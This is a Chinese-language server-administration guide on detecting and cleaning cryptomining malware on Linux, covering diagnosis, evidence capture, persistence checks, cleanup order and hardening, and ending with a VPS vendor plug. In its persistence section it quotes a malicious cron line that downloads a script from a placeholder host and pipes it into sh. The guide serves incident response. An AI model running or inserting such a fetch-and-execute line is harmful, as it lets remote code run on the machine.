CPU 占用长期 100%、风扇狂转、负载曲线在凌晨出现尖峰,而业务量并没有变化——这是服务器被植入挖矿程序之后最典型的现场。这篇文章要解决的问题很具体:挖矿程序清理到底应该按什么顺序做,如何在不打草惊蛇的前提下定位可疑进程,持久化入口藏在哪些容易被忽略的位置,以及清理完之后如何验证真的清干净了。整套流程可以照着命令一步步执行,不需要提前成为安全专家。

先判断是不是挖矿,而不是先杀进程
发现异常进程后的第一反应通常是 kill -9,这也正是最容易踩坑的地方。多数挖矿木马由 watchdog 守护进程或定时任务拉起,杀掉主进程后几十秒内就会重新出现,而命令行、父进程、连接目标这些最有价值的线索也一起没了。
先用三组命令确认特征,再动手。第一组看整体负载与 CPU 占用最高的进程,注意 %CPU 是否长期贴顶、进程名是否伪装成内核线程(常见如 kdevtmpfsi、kinsing、xmrig、sysupdate):
top -c -b -n 1 | head -30
ps aux --sort=-%cpu | head -20
uptime
第二组确认这个进程到底在跑什么。真正的内核线程在 ps 输出里命令名会带方括号,而伪装的挖矿进程有完整的可执行路径,甚至二进制文件已经被删除、只在 /proc 里留下一个 (deleted) 标记:
ls -l /proc/<PID>/exe
cat /proc/<PID>/environ | tr '\0' '\n' | head -20
lsof -p <PID> 2>/dev/null | head -20
第三组看对外连接。矿池通信走高位端口,3333、5555、7777、14444 是出现频率最高的一批,陌生进程持续连向境外 IP 的这类端口,基本可以定性:
ss -tunp | grep -v ':22 '
判断阶段只做一件事:用 kill -STOP <PID> 暂停可疑进程,而不是终止。暂停会停掉 CPU 消耗,同时保留父进程关系、命令行与连接这些现场,守护进程也不会立刻重新拉起一份新的。紧接着给服务器打快照或做磁盘镜像,清理出错还能回到这个点。如果服务器已经对外发包、被服务商通知滥用,先按 VPS(虚拟专用服务器)被入侵后的应急处理步骤 完成隔离,再回来清理。
定位二进制文件的真实位置与传播路径
知道 PID 之后,下一步是把文件、传播入口和同伙进程一起找出来。挖矿程序很少只留一个文件:/tmp、/dev/shm、/var/tmp、家目录隐藏目录里的随机命名子目录都是常见落脚点,这几处普通用户可写,又常被排除在备份和监控之外。
从 /proc 反查 inode,再按 inode 全盘找同名副本,是比 find -name 更可靠的方式,因为攻击者会随机重命名文件:
ls -li /proc/<PID>/exe
find / -xdev -inum <inode> -type f 2>/dev/null
拿到文件后不要急着删。先算哈希、留存时间戳,stat 输出的 Modify 与 Change 时间通常能对上入侵窗口,配合登录日志可以判断是从 SSH 爆破进来的,还是通过某个 Web 应用的漏洞上传的:
sha256sum /tmp/<file>
stat /tmp/<file>
grep -E "Accepted|Failed password" /var/log/auth.log | tail -30
同一台机器上通常还有配套组件:负责拉起的守护脚本、横向传播用的扫描器(特征是大量连接内网 22、6379、2375 端口),以及隐藏自身的用户态 rootkit。查一遍异常外联,能判断只是单机被挖,还是整个网段都要排查:
ss -tun state syn-sent | head -20
ps -eo pid,ppid,user,lstart,cmd --sort=lstart | tail -20
lstart 字段会显示精确启动时间。挖矿进程的启动时间往往集中在同一时刻,同一时间段启动的那批进程都值得逐个核对命令行。CPU 异常偏高但不确定是谁在跑时,用 top 与 ps 定位高 CPU 占用进程 这套方法可以省掉大量盲猜。

持久化排查:六个必须逐个打开的位置
清理失败的案例绝大多数不是没找到挖矿进程,而是漏掉了持久化入口。进程删掉、重启之后又活过来,说明还有一处自动拉起机制没被摘掉。下面这几处是实际攻防中出现频率最高的位置,建议按顺序全部过一遍,即使某一处看起来”应该没问题”。
- 定时任务:除了当前用户的
crontab -l,还要看/etc/cron.d/、/etc/cron.hourly/、/var/spool/cron/crontabs/下每个文件。恶意条目常写成*/5 * * * * root curl -s http://x.x.x.x/a.sh | sh这种一行式下载执行。 - systemd 服务:
systemctl list-unit-files --state=enabled里出现的陌生单元最容易被忽略,它们会伪装成systemd-networkd-helper、kworker这类系统风格命名,ExecStart指向/usr/lib/之外的路径。 - 动态链接器劫持:检查
/etc/ld.so.preload是否存在内容,这个文件默认不存在,一旦被写入一个 so 路径,就等于把 rootkit 挂进了所有新进程。 - SSH 授权密钥:
/root/.ssh/authorized_keys与所有普通用户的同名文件都要看,攻击者常追加一把自己的公钥做长期后门,比任何木马都稳定。 - 启动脚本与账户:
/etc/rc.local、/etc/init.d/下的新增脚本,以及/etc/passwd里 UID 为 0 的非 root 账户、/etc/sudoers.d/里被追加的免密规则。 - 容器与镜像:
docker ps --no-trunc看有没有来源不明的镜像在跑,容器里的挖矿程序占的是宿主机 CPU,ps里却看不到可执行路径。
这六处建议先列成清单再动手,改完记录改过哪些文件,避免清到一半忘了删过什么。想让这类改动今后能被及时发现,可以按 用 AIDE 建立服务器文件完整性监控基线 的做法把上述路径纳入监控,任何一处被写入都会在下一轮校验时报警。
如果发现对外流量异常(比如带宽(服务器对外的数据传输上限)在无人访问的时段持续跑高),通常是挖矿程序在跟矿池通信。用 iftop 或 nethogs 盯几分钟就能锁到具体进程,再对照清单确认归属。

清理顺序:先断链路,再摘入口,最后删文件
确认了进程、文件和持久化位置之后,清理顺序本身也是技术题。顺序错了轻则反复感染,重则丢失证据、判断不出是否还有第二个入口。可行的顺序是这样:
先切断外联,但保留管理通道。用防火墙只放行管理 IP 与业务必需端口,或临时在 /etc/hosts 里把矿池域名指向 0.0.0.0。断网不等于关机:机器一关,/proc 里的现场就没了。
紧接着固定证据。把可疑二进制、相关脚本、crontab、ss 与 ps 的完整输出打包留档,保留哈希与时间戳。若可能涉及数据泄露,这份记录是判断影响范围的唯一依据。
接下来先摘持久化入口,再处理进程。反过来做的话,守护进程会在你删文件的瞬间重新拉起一份新的。把定时任务、systemd 单元、ld.so.preload、authorized_keys 里的可疑条目全部移除或注释,然后再 kill 掉被 -STOP 暂停的进程,最后删除二进制文件。
然后重启并验证。只有重启之后才能确认没有遗漏的自启动项。验证看四个点:CPU 与负载是否回到正常区间、ps 与 ss 里是否还有陌生进程和外联、六处持久化位置是否干净、登录日志里是否有新的异常登录。清理后建议观察 24 小时,部分木马会延迟拉起(如 @reboot 加随机 sleep)。
最后一件事是判断要不要重装。这是最容易被跳过的一步,但必须给结论:如果发现 /etc/ld.so.preload 被写入、ps 输出与真实进程数对不上、或系统二进制被替换,说明 rootkit 已经进到核心库层面,逐文件清理无法证明环境干净,重装并从可信备份恢复更可靠。恢复前先把备份挂载到只读环境比对一遍文件清单,确认备份本身没被污染。
加固:让同样的入口不再可用
清理只去掉这一次的感染,加固才决定下一次要等多久。按”能被自动化扫描打到的先处理”排序即可:
- SSH 只留密钥登录并加动态口令:关闭
PasswordAuthentication前先确认密钥能登录,否则会把自己锁在门外;做法见 SSH 双因子认证配置实战。 - 对外端口做减法:
ss -tlnp列出所有监听端口,业务用不到的数据库、面板只监听127.0.0.1,暴露面每少一个入口,被打进来的概率就低一档。 - 给临时目录加 noexec:
/tmp、/dev/shm挂载时加noexec,nosuid,能挡掉大部分”下载到临时目录再执行”的载荷。 - 建立两条告警:CPU 持续高占用、出站连接数突增,阈值告警能在几分钟内发现问题。
- 保持快照与离线备份:被入侵后最先需要的是”回到干净状态”,带时间点的快照比任何清理技巧都直接;站点数据的备份节奏可以参考 WordPress 全量与增量备份策略。
如果服务器承载核心业务,或者没精力长期盯这些检查项,把系统层加固交给基础设施侧更划算。以 Hostease 的 VPS 方案 为例,系统镜像与快照由基础设施侧管理,恢复时不必重装环境;但这不代表托管之后就不用管应用层,CMS 插件与上传目录权限仍要自己维护。

总结与行动建议
整套流程可以压缩成一句话:先取证,再定位,摘掉持久化,最后删文件并重启验证。决定成败的不是工具,而是顺序和完整性:kill -9 经常没用,是因为守护机制还在。
如果你正面对一台 CPU 跑满的服务器,建议第一轮按这个顺序做:暂停可疑进程并打快照,导出六处持久化清单,断外联后逐项清除,重启观察 24 小时。发现 ld.so.preload 被写入或系统二进制被替换时,不要再在单机上纠缠,直接重装并从可信备份恢复,同时收紧 SSH 登录策略,避免下一轮从同一个入口进来。